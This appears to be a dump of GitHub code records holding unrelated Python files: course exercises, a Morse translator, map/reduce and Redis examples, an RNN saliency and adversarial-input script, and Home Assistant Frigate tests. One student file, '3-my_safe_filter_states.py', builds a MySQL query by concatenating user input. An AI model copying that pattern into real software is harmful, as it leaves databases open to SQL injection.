v_list_multiple.append(v_list)\n return u_list_multiple, v_list_multiple\n\n\ndef MakeLight(EmptyImage,u_list_multiple, v_list_multiple):\n Im = copy.copy(EmptyImage)\n for D in range (0, len(u_list_multiple), 1):\n for d in range (0, len(u_list_multiple[0]), 1):\n Im[v_list_multiple[D][d], u_list_multiple[D][d]] = (0, D/2, D/2)\n return Im\n\nheight = 2400\nwidth = 2400\ncenter= [1200,1200]\n#配列設定\nempty_image = np.zeros((height, width, 3), np.uint8)\nx, y = GetLine(360,10,1000,90,center)\nim = MakeLight(empty_image,x,y)\ncv2.imwrite(\"test_makelight.png\",im)\n\n","repo_name":"nakayamaakinori0/2021_nakayama_research_program","sub_path":"RVLC_simulation/type_propeller/transmitter - コピー/test_makelight.py","file_name":"test_makelight.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"43389683630","text":"chef1=0\r\nmorty1=0\r\nwinners=[]\r\npoints=[]\r\ndef sod(no):\r\n sum_of_digits = 0\r\n for digit in str(no):\r\n sum_of_digits += int(digit)\r\n return sum_of_digits \r\n\r\n\r\nt=int(input())\r\nfor i in range(t):\r\n chef2=0\r\n morty2=0\r\n rounds=int(input())\r\n for i in range(rounds):\r\n \r\n si = list(map(int,input().split()[:2]))\r\n result=list(map(sod,si))\r\n\r\n chef1=result[0]\r\n morty1=result[1]\r\n result=[]\r\n if(chef1>morty1):\r\n chef2=chef2+1\r\n elif(chef1morty2):\r\n winners.append(0)\r\n points.append(chef2)\r\n elif(chef2 + c)^p\n for each pair of rows x in X and y in Y.\n\n Args:\n X - (n, d) NumPy array (n datapoints each with d features)\n Y - (m, d) NumPy array (m datapoints each with d features)\n c - a coefficient to trade off high-order and low-order terms (scalar)\n p - the degree of the polynomial kernel\n\n Returns:\n kernel_matrix - (n, m) Numpy array containing the kernel matrix\n \"\"\"\n \n \"\"\" @author: YiWei \"\"\"\n X_Yt = np.matmul(X,np.transpose(Y))\n kernel_matrix = (X_Yt+c)**p\n return kernel_matrix\n raise NotImplementedError\n \"\"\" @author: YiWei \"\"\"\n\n\n\ndef rbf_kernel(X, Y, gamma):\n \"\"\"\n Compute the Gaussian RBF kernel between two matrices X and Y::\n K(x, y) = exp(-gamma ||x-y||^2)\n for each pair of rows x in X and y in Y.\n\n Args:\n X - (n, d) NumPy array (n datapoints each with d features)\n Y - (m, d) NumPy array (m datapoints each with d features)\n gamma - the gamma parameter of gaussian function (scalar)\n\n Returns:\n kernel_matrix - (n, m) Numpy array containing the kernel matrix\n \"\"\"\n \n \"\"\" @author: YiWei \"\"\"\n n = X.shape[0]\n m = Y.shape[0]\n kernel = np.zeros((n,m))\n for x_id in range(n):\n for y_id in range(m):\n kernel[x_id,y_id] = np.exp(-gamma*((np.linalg.norm(X[x_id] - Y[y_id]))**2))\n return kernel \n raise NotImplementedError\n \"\"\" @author: YiWei \"\"\"\n","repo_name":"colinpeng-datascience/MITx6.86x_Machine_Learning_with_Python","sub_path":"Digit recognition/part1/kernel.py","file_name":"kernel.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"26744716823","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nWritten by Jonathan \"Jono\" Yang - the.jonathan.yang@gmail.com\r\n\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program. If not, see .\r\n\"\"\"\r\n\r\nmorse_code = {\r\n \"A\": \"• −\",\r\n \"B\": \"− • • •\",\r\n \"C\": \"− • − •\",\r\n \"D\": \"− • •\",\r\n \"E\": \"•\",\r\n \"F\": \"• • − •\",\r\n \"G\": \"− − •\",\r\n \"H\": \"• • • •\",\r\n \"I\": \"• •\",\r\n \"J\": \"• − − −\",\r\n \"K\": \"− • −\",\r\n \"L\": \"• − • •\",\r\n \"M\": \"− −\",\r\n \"N\": \"− •\",\r\n \"O\": \"− − −\",\r\n \"P\": \"• − − •\",\r\n \"Q\": \"− − • −\",\r\n \"R\": \"• − •\",\r\n \"S\": \"• • •\",\r\n \"T\": \"−\",\r\n \"U\": \"• • −\",\r\n \"V\": \"• • • −\",\r\n \"W\": \"• − −\",\r\n \"X\": \"− • • −\",\r\n \"Y\": \"− • − −\",\r\n \"Z\": \"− − • •\",\r\n \"0\": \"− − − − −\",\r\n \"1\": \"• − − − −\",\r\n \"2\": \"• • − − −\",\r\n \"3\": \"• • • − −\",\r\n \"4\": \"• • • • −\",\r\n \"5\": \"• • • • •\",\r\n \"6\": \"− • • • •\",\r\n \"7\": \"− − • • •\",\r\n \"8\": \"− − − • •\",\r\n \"9\": \"− − − − •\"\r\n}\r\n\r\ndef make_morse(string):\r\n word_temp = []\r\n post_temp = []\r\n\r\n # We set each letter in the post to upper case and break the string\r\n # into a list of words.\r\n string = string.upper().split()\r\n \r\n for word in string:\r\n for char in word:\r\n if char in morse_code:\r\n # We translate each character of a word and put its Morse \r\n # code representation as a string into a list.\r\n word_temp.append(morse_code[char])\r\n else:\r\n # If a character does not have a Morse code representation,\r\n # we ignore it and move on to the next character\r\n continue\r\n\r\n # Once we are done converting each caracter of a word into it's\r\n # Morse code representation, we join the list together to form\r\n # a whole string and append the word to the post_temp list, that\r\n # stores the Morse code representation of each word in the post.\r\n post_temp.append(\" \".join(word_temp))\r\n\r\n # We clear the temporary word list for the next word\r\n word_temp = []\r\n\r\n # We finally join all the words together as a single string, where\r\n # the words are delimited by 3 spaces, then a slash, followed by 3\r\n # more spaces\r\n return \" / \".join(post_temp)","repo_name":"JonoYang/m-apostrophe-bot","sub_path":"morse.py","file_name":"morse.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"29515360336","text":"#!/usr/bin/python3\n\"\"\" Module shows all states contained in the Db hbtn_0e_0_usa \"\"\"\nimport MySQLdb\nimport sys\n\nif __name__ == \"__main__\":\n user = sys.argv[1]\n pswd = sys.argv[2]\n dbname = sys.argv[3]\n stateName = sys.argv[4]\n try:\n stateNameP = stateName.split(\" \", 1)\n except:\n raise ValueError('Incorrect format')\n\n db = MySQLdb.connect(\"localhost\", user, pswd, dbname)\n\n cursor = db.cursor()\n sql = \"SELECT * FROM states WHERE name LIKE '\" + stateNameP[0] + \"' ;\"\n try:\n cursor.execute(sql)\n results = cursor.fetchall()\n for item in results:\n print(item)\n except:\n print(sql)\n print(\"Failed to fetch data\")\n db.close()\n","repo_name":"thegermanblob/holbertonschool-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/3-my_safe_filter_states.py","file_name":"3-my_safe_filter_states.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"29715660344","text":"from collections import namedtuple\nfrom math import fsum\n\ndef map_reduce(data, mapper, reducer=None):\n '''Simple map/reduce for data analysis.\n\n Each data element is passed to a *mapper* function.\n The mapper returns key/value pairs\n or None for data elements to be skipped.\n\n Returns a dict with the data grouped into lists.\n If a *reducer* is specified, it aggregates each list.\n\n >>> def even_odd(elem): # sample mapper\n ... if 10 <= elem <= 20: # skip elems outside the range\n ... key = elem % 2 # group into evens and odds\n ... return key, elem\n\n >>> map_reduce(range(30), even_odd) # show group members\n {0: [10, 12, 14, 16, 18, 20], 1: [11, 13, 15, 17, 19]}\n\n >>> map_reduce(range(30), even_odd, sum) # sum each group\n {0: 90, 1: 75}\n\n '''\n d = {}\n for elem in data:\n r = mapper(elem)\n if r is not None:\n key, value = r\n if key in d:\n d[key].append(value)\n else:\n d[key] = [value]\n if reducer is not None:\n for key, group in d.items():\n d[key] = reducer(group)\n return d\n\nSummary = namedtuple('Summary', ['n', 'lo', 'mean', 'hi', 'std_dev'])\n\ndef describe(data):\n 'Simple reducer for descriptive statistics'\n n = len(data)\n lo = min(data)\n hi = max(data)\n mean = fsum(data) / n\n std_dev = (fsum((x - mean) ** 2 for x in data) / n) ** 0.5\n return Summary(n, lo, mean, hi, std_dev)\n\n\nif __name__ == '__main__':\n\n from pprint import pprint\n import doctest\n\n Person = namedtuple('Person', ['name', 'gender', 'age', 'height'])\n\n persons = [\n Person('mary', 'fem', 21, 60.2),\n Person('suzy', 'fem', 32, 70.1),\n Person('jane', 'fem', 27, 58.1),\n Person('jill', 'fem', 24, 69.1),\n Person('bess', 'fem', 43, 66.6),\n Person('john', 'mal', 25, 70.8),\n Person('jack', 'mal', 40, 59.1),\n Person('mike', 'mal', 42, 60.3),\n Person('zack', 'mal', 45, 63.7),\n Person('alma', 'fem', 34, 67.0),\n Person('bill', 'mal', 20, 62.1),\n ]\n\n def height_by_gender_and_agegroup(p):\n key = p.gender, p.age //10\n val = p.height\n return key, val\n\n pprint(persons) # upgrouped dataset\n pprint(map_reduce(persons, lambda p: ((p.gender, p.age//10), p))) # grouped people\n pprint(map_reduce(persons, height_by_gender_and_agegroup, None)) # grouped heights\n pprint(map_reduce(persons, height_by_gender_and_agegroup, len)) # size of each group\n pprint(map_reduce(persons, height_by_gender_and_agegroup, describe)) # describe each group\n print(doctest.testmod())\n","repo_name":"ActiveState/code","sub_path":"recipes/Python/577676_Dirt_simple_mapreduce/recipe-577676.py","file_name":"recipe-577676.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":1912,"dataset":"github-code","pt":"91"} +{"seq_id":"1690804643","text":"import time\n\nfrom walrus import Database\n\n\ndb = Database()\nstream = db.Stream(\"streamY\")\n\nMESSAGES = 100000\n\nstart = time.time()\n\nfor i in range(0, MESSAGES):\n message_id = stream.add({\"id\": i,\n \"last\": \"y\" if i == MESSAGES - 1 else \"n\"})\n\nend = time.time()\nprint(\"Producent duration for {} messages: {} seconds\".format(MESSAGES, (end - start)))\n","repo_name":"tisnik/py-redis-examples","sub_path":"streams_06_burst_message_producer.py","file_name":"streams_06_burst_message_producer.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"91"} +{"seq_id":"31179394257","text":"import tensorflow as tf\nimport numpy as np\nimport preprocess, rnn\nimport matplotlib.pyplot as plt\nimport plotutil as putil\nimport os, sys, random, pdb\n\n# Load pre-trained embeddings\nword_embedding = np.load('final_embeddings.npy')\nword_to_embedding_index = np.load('emb_dict.npy').item()\nm = word_to_embedding_index\nembedding_index_to_word = dict(zip(m.values(), m.keys()))\n\ng = tf.Graph()\nwith g.as_default():\n\n global_step_tensor = tf.Variable(0, trainable = False, name = 'global_step')\n batch_size = 1; learning_rate = 0.0; hidden_size = 16; max_time = 1024; \n # Create RNN graph\n r = rnn.classifier(\n batch_size = batch_size,\n learning_rate = learning_rate,\n hidden_size = hidden_size,\n max_time = max_time,\n embeddings = word_embedding,\n global_step = global_step_tensor\n )\n\n with tf.Session() as sess:\n # Load RNN weights\n tf.train.Saver().restore(sess, './ckpts/gridckpt_16_10/imdb-rnn-e15.ckpt')\n review = open('./aclImdb/test/posneg/9999_10.txt').read()\n print(review)\n tokens = preprocess.tokenize(review)\n\n inputs = np.zeros((batch_size,max_time))\n targets = np.array([0,1]); targets.shape = (1,2)\n sequence_length = np.zeros((batch_size))\n sequence_length[0] = len(tokens)\n \n for index in range(min(max_time,len(tokens))):\n inputs[0][index] = word_to_embedding_index.get(tokens[index],0)\n\n #print('Review: \\n', review)\n #print('Tokens: \\n', tokens)\n #print('Inputs: \\n', inputs)\n probability, pos_grad, neg_grad, logits, embedded = \\\n sess.run([r.probability, r.pos_grad, r.neg_grad, r.logits, r.embed],\n feed_dict = \\\n {r.inputs:inputs,\n r.targets:targets,\n r.sequence_length:sequence_length,\n r.keep_prob:1.0})\n \n print('Probability: ', probability)\n n = len(tokens)\n pg = pos_grad[0][0,0:n,:]; ps = np.linalg.norm(pg,axis=1)\n ng = neg_grad[0][0,0:n,:]; ns = np.sum(np.abs(ng),axis=1)\n pas = np.sum(pg,axis=1); nas = np.abs(np.sum(ng,axis=1))\n #print('Salience: ',[ps,ns])\n x = np.linspace(1,n,num=n)\n lookup = [embedding_index_to_word.get(inputs[0][i],'UNK') for i in range(n)]\n \n word_index = [i for i in range(n)]\n random.shuffle(word_index)\n adv_inputs = inputs\n for _ in range(0): \n for index in word_index:\n decision,probability,pos_grad = \\\n sess.run([r.decision,r.probability,r.pos_grad],\n feed_dict = \\\n {r.inputs:adv_inputs,\n r.targets:targets,\n r.sequence_length:sequence_length,\n r.keep_prob:1.0})\n pg = pos_grad[0][0,0:n,:]; \n ps = np.sqrt(np.sum(np.abs(pg)**2,axis=1))\n gs = np.sign(pg[index,:])\n emb_idx = int(adv_inputs[0,index])\n emb_val = word_embedding[emb_idx]\n # Careful here: sign deterines direction\n dm = gs + np.sign(word_embedding)\n dv = np.sum(np.abs(dm),axis=1)\n am = int(np.argmin(dv))\n w = embedding_index_to_word.get(am,'UNK')\n original = ' '.join(lookup[index-5:index+5])\n new = ' '.join(lookup[index-5:index]) + ' ' + w + ' ' + \\\n ' '.join(lookup[index+1:index+5])\n adv_inputs[0,index] = am\n print(original + ' -> \\n' + new)\n print('New Probability: ', probability)\n\n start = 0; end = 50\n if int(sys.argv[1]):\n a = []\n for i in range(114):\n a.append(word_embedding[int(inputs[0][i]),:])\n a = np.array(a)\n print(a.shape)\n b = np.sum(np.multiply(pg,a),axis=0)\n print(b)\n print(b[16])\n print(pas[16])\n print(ps[16])\n ax = plt.subplot(121)\n plt.suptitle(\"Saliency Visualization of Excerpt\",fontsize=24)\n y = np.linspace(start,end-1,num=end-start)\n plt.yticks(y, lookup[start:end])\n plt.imshow(pg[start:end,:])\n plt.xlabel(\"Embedding Dimesnion\", fontsize=22)\n ax.set_aspect(3.05)\n ax = plt.subplot(122)\n plt.yticks(y.max()-y, lookup)\n putil.vstem(y.max()-y-y[1]/3,ps[start:end],'b',label=\"Gradient Norm\")\n putil.vstem(y.max()-y,pas[start:end],'r',label=\"Total Gradient\")\n plt.legend()\n plt.xlabel(\"Gradient Measure\", fontsize=22)\n plt.xlim([pas.min(),pas.max()]) \n plt.ylim([-1,y.max()+1])\n plt.grid()\n plt.show()\n if int(sys.argv[2]):\n plt.subplot(211)\n plt.stem(pg[28,:],basefmt='k-',linefmt='k-',markerfmt='ko')\n plt.title(\"Gradient with respect to '%s'\" % lookup[28],fontsize=24)\n plt.grid()\n plt.subplot(212)\n plt.title(\"Gradient with respect to '%s'\" % lookup[31],fontsize=24)\n plt.stem(pg[31,:],basefmt='k-',linefmt='k-',markerfmt='ko')\n plt.grid()\n plt.show()\n \n \n","repo_name":"corynezin/thesis","sub_path":"gradient-calc.py","file_name":"gradient-calc.py","file_ext":"py","file_size_in_byte":5318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"13839788917","text":"from django.urls import path\nfrom . import views\napp_name=\"posts\"\nurlpatterns = [\n path('', views.index,name=\"index\"),\n path('blog', views.BlogListView.as_view(),name='blog-list'),\n path('', views.PostDetailView.as_view(),name='post-detail'),\n #path('search', views.search,name=\"search\"),\n #path('create', views.post_create ,name=\"post-create\"),\n #path('post//', views.post,name=\"post-detail\"),\n #path('post//update', views.post_update ,name=\"post-update\"),\n #path('post//delete', views.post_delete ,name=\"post-delete\"),\n\n]\n","repo_name":"mamee93/coures-and-blog","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"21899712016","text":"import openpyxl\n\n# Load the workbook\nwb = openpyxl.load_workbook('file.xlsx')\n\n# Get a list of all sheets\nsheets = wb.sheetnames\n\n# Sort the sheets\nsheets.sort()\n\n# Reorder the sheets in the workbook\nwb._sheets = [wb[sht] for sht in sheets]\n\n# Save the workbook\nwb.save('file.xlsx')\n\n# ChatGPT Jan 30 Version. Free Research Preview (20230130)\n","repo_name":"onurdemircioglu/python-archive","sub_path":"Excel Operations/Sorting-Sheet-Names.py","file_name":"Sorting-Sheet-Names.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"36784520354","text":"from pathlib import Path\nimport collections\n\ndef pointcounter(respuestas_correctas, respuestas_alumno):\n\n\trc = respuestas_correctas[2:]\n\tra = respuestas_alumno[3:]\n\tra = ajustar_lista(rc, ra)\n\tcounter = 0\n\n\tfor la, lb in zip(rc, ra):\n\t\tif la == lb:\n\t\t\tcounter += 1\n\n\treturn counter * 100 / len(rc)\n\n\ndef ajustar_lista(lista_completa, lista_alumno):\n\t'''\n\tSi la lista de respuestas del alumno esta incompleta, esta función rellena con -\n\tSi tiene más respuestas de las pedidas, elimina las últimas\n\t: param lista_completa : lista de respuestas completa\n\t: param lista_alumno : lista de respuestas del alumno\n\t'''\n\n\tcorrect_len = len(lista_completa)\n\talumn_len = len(lista_alumno)\n\n\tmissing_answers = correct_len - alumn_len \t\n\n\tfor _ in range(missing_answers):\n\t\tlista_alumno.append('-')\n\n\tif missing_answers < 0:\n\t\tfor _ in range(abs(missing_answers)):\n\t\t\tlista_alumno = lista_alumno[:-1]\n\n\treturn lista_alumno\n\nAlumnoInfo = collections.namedtuple(\n\t'alumnoInfo',\n\t'nombre, tarea_num, calificacion'\n\t)\nalumnosDict = {}\nalumnosList = []\n\nwith open(\"tareas/respuestas.txt\", \"r\") as r:\n\tr = r.read().split('\\n')\n\nfor tarea in Path(\"tareas/\").iterdir():\n\tif tarea.is_file() and tarea.name.startswith('tarea'):\n\t\twith open(tarea, \"r\", encoding=\"utf-8\", errors=\"ignore\") as t:\n\t\t\tt = t.read()\n\t\t\tt = t.split('\\n')\n\n\t\t\tcalificacion = pointcounter(r,t) \n\t\t\talumnosList.append(t[1])\n\t\t\talumnosDict[t[1]] =AlumnoInfo(nombre=t[0], tarea_num=t[2], calificacion=calificacion)\n\t\n\nwith open(\"calificacionesTodos.csv\", \"w\") as f:\n\theader = \"Nombre , email , Tarea , Calificación\"\n\tf.write(header)\n\tf.write(\"\\n\")\n\tfor aL in alumnosList:\n\t\tline = alumnosDict[aL].nombre + \" , \" + aL + \" , \" + str(alumnosDict[aL].tarea_num) + \" ,\" + str(alumnosDict[aL].calificacion)\n\t\tf.write(line)\n\t\tf.write(\"\\n\")\n\n\n\n","repo_name":"al4ndrade/calificadorDeTareas","sub_path":"calificador.py","file_name":"calificador.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"} +{"seq_id":"19029673000","text":"\"\"\"Test the frigate binary sensor.\"\"\"\nfrom __future__ import annotations\n\nimport copy\nimport logging\nfrom typing import Any\nfrom unittest.mock import AsyncMock, patch\n\nfrom pytest_homeassistant_custom_component.common import MockConfigEntry\n\nfrom custom_components.frigate import (\n get_frigate_device_identifier,\n get_frigate_entity_unique_id,\n)\nfrom custom_components.frigate.api import FrigateApiClientError\nfrom custom_components.frigate.const import CONF_CAMERA_STATIC_IMAGE_HEIGHT, DOMAIN\nfrom homeassistant.config_entries import ConfigEntryState\nfrom homeassistant.const import CONF_HOST, CONF_URL\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers import device_registry as dr, entity_registry as er\nfrom homeassistant.loader import async_get_integration\n\nfrom . import (\n TEST_CONFIG,\n TEST_CONFIG_ENTRY_ID,\n create_mock_frigate_client,\n create_mock_frigate_config_entry,\n setup_mock_frigate_config_entry,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def test_entry_unload(hass: HomeAssistant) -> None:\n \"\"\"Test unloading a config entry.\"\"\"\n\n config_entry = await setup_mock_frigate_config_entry(hass)\n\n config_entries = hass.config_entries.async_entries(DOMAIN)\n assert len(config_entries) == 1\n assert config_entries[0] is config_entry\n assert config_entry.state == ConfigEntryState.LOADED\n\n await hass.config_entries.async_unload(config_entry.entry_id)\n await hass.async_block_till_done()\n assert config_entry.state == ConfigEntryState.NOT_LOADED\n\n\nasync def test_entry_update(hass: HomeAssistant) -> None:\n \"\"\"Test updating a config entry.\"\"\"\n\n client = create_mock_frigate_client()\n config_entry = await setup_mock_frigate_config_entry(hass, client=client)\n assert client.async_get_config.call_count == 1\n\n with patch(\n \"custom_components.frigate.FrigateApiClient\",\n return_value=client,\n ), patch(\n \"custom_components.frigate.media_source.FrigateApiClient\", return_value=client\n ):\n assert hass.config_entries.async_update_entry(\n entry=config_entry, title=\"new title\"\n )\n await hass.async_block_till_done()\n\n # Entry will have been reloaded, and config will be re-fetched.\n assert client.async_get_config.call_count == 2\n\n\nasync def test_entry_async_get_config_fail(hass: HomeAssistant) -> None:\n \"\"\"Test updating a config entry.\"\"\"\n\n client = create_mock_frigate_client()\n client.async_get_config = AsyncMock(side_effect=FrigateApiClientError)\n\n config_entry = await setup_mock_frigate_config_entry(hass, client=client)\n assert config_entry.state == ConfigEntryState.SETUP_RETRY\n\n\nasync def test_entry_async_get_version_incompatible(hass: HomeAssistant) -> None:\n \"\"\"Test running an incompatible server version.\"\"\"\n\n client = create_mock_frigate_client()\n client.async_get_version = AsyncMock(return_value=\"0.8.4-1234567\")\n\n config_entry = await setup_mock_frigate_config_entry(hass, client=client)\n print(config_entry.state)\n assert config_entry.state == ConfigEntryState.SETUP_ERROR\n\n\nasync def test_entry_migration_v1_to_v2(hass: HomeAssistant) -> None:\n \"\"\"Test migrating a config entry.\"\"\"\n entity_registry = er.async_get(hass)\n\n config_entry: MockConfigEntry = MockConfigEntry(\n entry_id=TEST_CONFIG_ENTRY_ID,\n domain=DOMAIN,\n data={CONF_HOST: \"http://host:456\"},\n title=\"Frigate\",\n version=1,\n )\n\n config_entry.add_to_hass(hass)\n\n old_unique_ids = [\n (\"binary_sensor\", \"frigate_front_door_person_binary_sensor\"),\n (\"camera\", \"frigate_front_door_camera\"),\n (\"camera\", \"frigate_front_door_person_snapshot\"),\n (\"sensor\", \"frigate_front_door_camera_fps\"),\n (\"sensor\", \"frigate_front_door_person\"),\n (\"sensor\", \"frigate_detection_fps\"),\n (\"sensor\", \"frigate_front_door_process_fps\"),\n (\"sensor\", \"frigate_front_door_skipped_fps\"),\n (\"switch\", \"frigate_front_door_clips_switch\"),\n (\"switch\", \"frigate_front_door_detect_switch\"),\n (\"switch\", \"frigate_front_door_snapshots_switch\"),\n (\"sensor\", \"frigate_cpu1_inference_speed\"),\n (\"sensor\", \"frigate_cpu2_inference_speed\"),\n (\"sensor\", \"frigate_front_door_detection_fps\"),\n (\"sensor\", \"frigate_steps_person\"),\n (\"binary_sensor\", \"frigate_steps_person_binary_sensor\"),\n ]\n\n unrelated_unique_ids = [\n (\"cover\", \"will_match_nothing\"),\n ]\n\n # Create fake entries with the old unique_ids.\n for platform, unique_id in old_unique_ids + unrelated_unique_ids:\n assert entity_registry.async_get_or_create(\n platform, DOMAIN, unique_id, config_entry=config_entry\n )\n\n # Setup the integration.\n config_entry = await setup_mock_frigate_config_entry(\n hass, config_entry=config_entry\n )\n\n # Verify the config entry data is as expected.\n assert CONF_HOST not in config_entry.data\n assert CONF_URL in config_entry.data\n assert config_entry.version == 2\n assert config_entry.title == \"host:456\"\n\n # Ensure all the old entity unique ids are removed.\n for platform, unique_id in old_unique_ids:\n assert not entity_registry.async_get_entity_id(platform, DOMAIN, unique_id)\n\n # Ensure all the unrelated entity unique ids are not touched.\n for platform, unique_id in unrelated_unique_ids:\n assert entity_registry.async_get_entity_id(platform, DOMAIN, unique_id)\n\n # Ensure all the new transformed entity unique ids are present.\n new_unique_ids = [\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:occupancy_sensor:front_door_person\"),\n (\"camera\", f\"{TEST_CONFIG_ENTRY_ID}:camera:front_door\"),\n (\"camera\", f\"{TEST_CONFIG_ENTRY_ID}:camera_snapshots:front_door_person\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_camera\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:front_door_person\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:detection\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_process\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_skipped\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_recordings\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_detect\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_snapshots\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_detector_speed:cpu1\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_detector_speed:cpu2\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_detection\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:steps_person\"),\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:occupancy_sensor:steps_person\"),\n ]\n for platform, unique_id in new_unique_ids:\n assert (\n entity_registry.async_get_entity_id(platform, DOMAIN, unique_id) is not None\n )\n\n\nasync def test_entry_cleanup_old_clips_switch(hass: HomeAssistant) -> None:\n \"\"\"Test cleanup of old clips switch.\"\"\"\n entity_registry = er.async_get(hass)\n\n config_entry: MockConfigEntry = MockConfigEntry(\n entry_id=TEST_CONFIG_ENTRY_ID,\n domain=DOMAIN,\n data={CONF_HOST: \"http://host:456\"},\n title=\"Frigate\",\n version=2,\n )\n\n config_entry.add_to_hass(hass)\n\n old_unique_ids = [\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:occupancy_sensor:front_door_person\"),\n (\"camera\", f\"{TEST_CONFIG_ENTRY_ID}:camera:front_door\"),\n (\"camera\", f\"{TEST_CONFIG_ENTRY_ID}:camera_snapshots:front_door_person\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_camera\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:front_door_person\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:detection\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_process\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_skipped\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_clips\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_detect\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_snapshots\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_detector_speed:cpu1\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_detector_speed:cpu2\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_detection\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:steps_person\"),\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:occupancy_sensor:steps_person\"),\n ]\n\n # Create fake entries with the old unique_ids.\n for platform, unique_id in old_unique_ids:\n assert entity_registry.async_get_or_create(\n platform, DOMAIN, unique_id, config_entry=config_entry\n )\n\n # Setup the integration.\n config_entry = await setup_mock_frigate_config_entry(\n hass, config_entry=config_entry\n )\n\n for platform, unique_id in old_unique_ids:\n if platform == \"switch\" and unique_id.endswith(\"_clips\"):\n assert (\n entity_registry.async_get_entity_id(\"switch\", DOMAIN, unique_id) is None\n )\n else:\n assert (\n entity_registry.async_get_entity_id(platform, DOMAIN, unique_id)\n is not None\n )\n\n assert (\n entity_registry.async_get_entity_id(\n \"switch\", DOMAIN, f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_recordings\"\n )\n is not None\n )\n\n\nasync def test_entry_cleanup_old_motion_sensor(hass: HomeAssistant) -> None:\n \"\"\"Test cleanup of old motion sensor.\"\"\"\n entity_registry = er.async_get(hass)\n\n config_entry: MockConfigEntry = MockConfigEntry(\n entry_id=TEST_CONFIG_ENTRY_ID,\n domain=DOMAIN,\n data={CONF_HOST: \"http://host:456\"},\n title=\"Frigate\",\n version=2,\n )\n\n config_entry.add_to_hass(hass)\n\n old_unique_ids = {\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:motion_sensor:front_door_person\"),\n (\"binary_sensor\", f\"{TEST_CONFIG_ENTRY_ID}:motion_sensor:steps_person\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_camera\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_object_count:front_door_person\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:detection\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_process\"),\n (\"sensor\", f\"{TEST_CONFIG_ENTRY_ID}:sensor_fps:front_door_skipped\"),\n (\"switch\", f\"{TEST_CONFIG_ENTRY_ID}:switch:front_door_recordings\"),\n 